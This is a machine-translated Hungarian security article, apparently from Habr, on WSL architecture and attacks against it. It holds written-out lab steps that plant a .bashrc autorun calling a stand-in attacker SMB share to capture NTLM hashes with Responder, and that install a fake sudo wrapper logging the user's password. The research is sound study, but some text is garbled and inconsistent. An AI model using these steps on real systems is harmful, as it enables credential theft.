Szia habr! Az OTUS októberben új tanfolyamot indít
2016-ban a Microsoft bemutatta az új WSL technológiát az informatikai közösségnek (Woldalablakokra Salrendszer számára Linux), amely a jövőben lehetővé tette a korábban kibékíthetetlen versenytársak egyesítését, akik mind a hétköznapi, mind a haladó operációs rendszer-felhasználók körében harcoltak a népszerűségért: Windows és Linux. Ez a technológia lehetővé tette a Linux operációs rendszer eszközeinek használatát Windows környezetben anélkül, hogy Linuxot kellett volna futtatni, például Multi-boot használatával. A Habron számos cikk található a WSL használatának előnyeiről. Sajnos azonban a cikk elkészítésekor nem találtak tanulmányokat az operációs rendszerek ilyen szimbiózisának biztonságáról ezen az erőforráson. Ez a bejegyzés egy kísérlet lesz ennek kijavítására. A cikk a WSL 1 és 2 architektúrák jellemzőiről fog beszélni, és számos példát megvizsgál az ezeket a technológiákat használó rendszerek elleni támadásokra. A cikk 2 részre oszlik. Az első a Linux és a Windows fő elméleti támadási módszereit tartalmazza. A második cikk egy tesztkörnyezet beállítását és a támadások reprodukálását foglalja magában.
WSL 1: építészeti jellemzők
A WSL biztonsági kérdések legpontosabb merülése érdekében meg kell határozni az alrendszer megvalósításával kapcsolatos főbb árnyalatokat. A WSL által megoldott egyik fő felhasználói feladat a Linux terminálon keresztüli munkavégzés lehetősége Windows operációs rendszert futtató gazdagépen. Ezenkívül a kínált kompatibilitás olyan natív volt, hogy a Linux futtatható fájlok (ELF) közvetlenül futtathatók Windows rendszeren. E célok elérése érdekében a Windows 10-ben egy speciális alrendszert hoztak létre, amely lehetővé teszi Linux-alkalmazások futtatását meghatározott rendszerhívások segítségével – így kísérlet történt a Linux rendszerhívások halmazának leképezésére Windows rendszeren. Ezt fizikailag új illesztőprogramok és új folyamatformátum hozzáadásával valósították meg. Az architektúra vizuálisan így nézett ki:
Valójában a Linux operációs rendszerrel való interakciót több kernelmodulon és egy speciális folyamaton, a pico-n keresztül szervezték meg. A fenti diagramból láthatja, hogy a gazdagépen futó Linux-példányon futó folyamatnak natívnak kell lennie, és ugyanazokat az erőforrásokat kell használnia, mint a normál Windows-alkalmazásoknak. De hogyan lehet ezt elérni? Projektben
Vegye figyelembe, hogy a javasolt absztrakció lehetővé tette, hogy ne az operációs rendszerre (különösen a Windowsra) összpontosítsunk, amelyben egy másik operációs rendszer folyamata várható, és általános megközelítést javasolt.
Így a pico folyamaton belüli bármely alkalmazás futhat a Windows kerneltől függetlenül:
- A rendszerhívások kompatibilitási és fordítási problémáit speciális szolgáltatóknak kell megoldaniuk;
- A hozzáférés-ellenőrzést a Security Monitoron keresztül kell végrehajtani. A monitor a kernelben található, ezért a Windowsnak frissítésre volt szüksége egy új illesztőprogram formájában, amely szolgáltatóként szolgálhatna az ilyen folyamatokhoz. A prototípus pico folyamat sematikusan az alábbiakban látható:
Mivel a Linux fájlrendszer a kis- és nagybetűket megkülönböztető fájl- és könyvtárneveket használ, kétféle fájlrendszer került a Windowsba a WSL-lel való együttműködéshez – VolFS és DriveFS. A VolFS a Linux fájlrendszer megvalósítása, a DriveFS egy olyan fájlrendszer, amely a Windows szabályai szerint működik, de képes kiválasztani a kis- és nagybetűk érzékenységét.
WSL 2
A WSL 1-nek számos korlátja volt, amelyek nem tették lehetővé a maximális feladatkör megoldását: például nem volt képes 32 bites Linux-alkalmazások futtatására, és nem lehetett eszközillesztőket használni. Ezért 2020-ban megjelent a WSL 2, amely megváltoztatta az alrendszer felépítésének megközelítését. A WSL 2 egy optimalizált virtuális gép, amely megfelel a WSL 1 erőforrás-fogyasztási jellemzőinek. Most, a Windows operációs rendszer felhasználója által megoldott problémáktól függően, kiválaszthatja a Linux alrendszer kívánt verzióját. A lehetséges sebezhetőségek csökkentése érdekében a WSL 2-t a Hyper-V alapján implementálták a Windows 10 rendszerben. Ebben a formában a Windows képes a Linux operációs rendszer kernelt elkülönítve futtatni. Érdemes megjegyezni, hogy a WSL 1-es verzióját béta funkcióként vezették be, aminek a Windows fejlesztési irányát kellett volna mutatnia ezen a területen, így elkerülhetetlen volt a Hyper-V-re való átállás. A végső architektúra így néz ki:
Ebben a verzióban a Windows és Linux kernelek saját erőforrásokkal rendelkeznek, és a metszéspont csak a fájlrendszerben létezik, de ez a metszéspont nem teljes. A fájlrendszerek közötti interakciót egy kliens-szerver burkoló végzi, amely a 9P protokollt használja.
Ma a Microsoft lehetőséget biztosít a WSL 1 és WSL 2 közötti váltásra. Mindkét verzió használható.
WSL biztonság
Jelenleg több munka is leír néhány megközelítést az operációs rendszer legitim eszközeinek használatára az alrendszerek közötti kommunikáció megtámadására. A szkriptjeik segítségével ellenőrizzük a támadások relevanciáját az írás idején. A támadások és forgatókönyvek általános listája:
1. Fájlrendszer megvalósítása: hozzáférési jogok, megosztott könyvtárak/adatcsere mechanizmusok elérhetősége.
Kutatást végeztek a hozzáférési szabályok megsértésének megállapítására Linux FS->Windows FS, Windows FS->Linux FS. A kutatások bebizonyították, hogy egy adott fájl módosítható a cél operációs rendszeren belül. Kísérletek történtek a fájlrendszerek helyettesítésére, másolatok létrehozására és egy részének törlésére is.
Forgatókönyv:
- V. Támadás a Windows operációs rendszerből – fájlok módosítása a Linux operációs rendszer /etc könyvtárából.
- B. Támadás a Linux operációs rendszertől – fájlok módosítása a könyvtárakban:
C:Windows
,C:Program Files
,C:Users<User>
2. A hálózati verem megvalósítása.
A kutatást a Linux operációs rendszer Windows-on végrehajtott támadásainak példái alapján végezték. A hálózati verem jellemzőit használták, nevezetesen a hitelesítési mechanizmusokat különböző erőforrásokon.
Forgatókönyv:
- Hozzáférés megnyitása egy Windows rendszeren lefoglalt porthoz
- Port megnyitása megfelelő jogosultságok nélkül
- Reverse shell futtatása elf fájl használatával Windows operációs rendszeren.
3. Rosszindulatú szoftveres folyamatok elindításának elrejtése a WSL alrendszer használatával.
A kutatás egy egyszerű tényen alapult: a biztonsági alrendszerek nem tudják elfogni az eseményeket egy másik kernelben, amely az operációs rendszer legitim szolgáltatójával működik WSL 1 esetén. A WSL 2 esetében nincs mód a bekövetkező események megtekintésére. egy külön kernelben a könnyű virtuális gépen belül.
Forgatókönyv:
1) Indítsa el az alkalmazást a rendszer távoli eléréséhez, és tekintse meg a naplózott eseményeket.
WSL 1 kísérletek: hash elfogás (Windows)
Végül elérkeztünk a gyakorlati részhez. Először is be kell állítania a tesztkörnyezetet. Minden kísérletet egy padon hajtanak végre, ahol Windows 10 2004 van telepítve. Az Ubuntu 18.04 lemezképet választották a WSL operációs rendszer lemezképének. A kép véletlenszerűen lett kiválasztva, és minden más ugyanúgy működik. Parancsok az állvány felállításához:
Először el kell indítania powershell.exe
rendszergazdaként.
WSL 1 esetén a következő parancsokat kell futtatnia:
- Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux #Включить функцию WSL
- Invoke-WebRequest -Uri aka.ms/wsl-ubuntu-1804
-OutFile ~/Ubuntu.appx -UseBasicParsing #Загрузить образ Linux из магазина Microsoft
Ubuntu.appx install —root #Установим образ
Возможно, придется прокликать процесс настройки и создать нового пользователя, который будет иметь меньше прав, чем root. Для наших тестов это будет обычный пользователь sam.
Restart-Computer #Перезагрузим
Az állvány újraindítása után hívhatja a bash parancsot. Ha minden megfelelően működött, a Windows konzolon ehhez hasonló kimenetet fog látni:
A Kali Linux disztribúciót fogjuk használni a támadó gépeként; minden gépnek ugyanazon a helyi hálózaton kell lennie.
Tételezzük fel, hogy kiváltságtalan hozzáféréssel rendelkezünk a WSL-hez egy Windows gépen. Próbáljuk meg támadni a Linux operációs rendszert egy Linux parancs meghívásával. A támadás megvalósításához egy egyszerű automatikus futtatási technikát fogunk használni - hozzáadjuk a szkriptünket a Linux környezetben való végrehajtáshoz. Ehhez meg kell változtatnia a fájlt .bashrc
.
WSL-t használó gépen a következőket hajtjuk végre:
1. bash
2. Переходим в домашнюю директорию пользователя: cd /home/sam/
2. echo «/home/sam/.attack.sh» >> .bashrc
3. echo «icalcs.exe » \\\\attacker_ip\\shareName\\» > /dev/null 2>&1» >> .attack.sh
4. chmod u+x .attack.sh
5. exit
Kali Linux gépen futunk:
1. Responder -I eth0 -rdvw
Windows gépen indítsuk el a bash-t.
Várjuk az eredményt a Kali Linux gépen:
Így a Windows felhasználói kivonatokat a WSL alrendszeren keresztül kaptuk meg a parancs végrehajtásával a Linux rendszeren.
WSL 1 kísérletek: felhasználói jelszó beszerzése (Linux OS)
Végezzünk még egy kísérletet. Az ellenőrzés során hozzáadjuk a fájlt .bashrc
több parancsot a Linux operációs rendszer felhasználói jelszavának beszerzéséhez.
Indítsuk el a bash-t, és írjuk be a parancsokat:
1. mkdir .hidden
2. echo "export PATH=$HOME/.hidden/:$PATH:" >> .bashrc
3. echo "read -sp "[sudo] password for $USER: " sudopass" > .hidden/sudo
4. echo "echo """ >> .mysudo/sudo
5. echo "sleep 2" >> .mysudo/sudo
6. echo "echo "Sorry, try again."" >> .mysudo/sudo
7. echo "echo $sudopass >> /home/sam/.mysudo/pass.txt» >> .mysudo/sudo
8. echo "/usr/bin/sudo $@" >> .mysudo/sudo
9. chmod +x .mysudo/sudo
10. exit
A támadás sikeres befejezéséhez Sam felhasználónak meg kell hívnia a sudo-t a Linux terminálon. Ezt követően a Linux operációs rendszer felhasználói jelszava a fájlban lesz pass.txt
:
A támadások végrehajtása csak elméleti tájékoztatásul szolgált.
A cikk következő része leírja a 9P protokoll megvalósítását, fontolóra veszi egy szkenner létrehozását ehhez a protokollhoz, és támadást is hajt végre a használatával.
A felhasznált irodalom jegyzéke
Olvass tovább
Forrás: will.com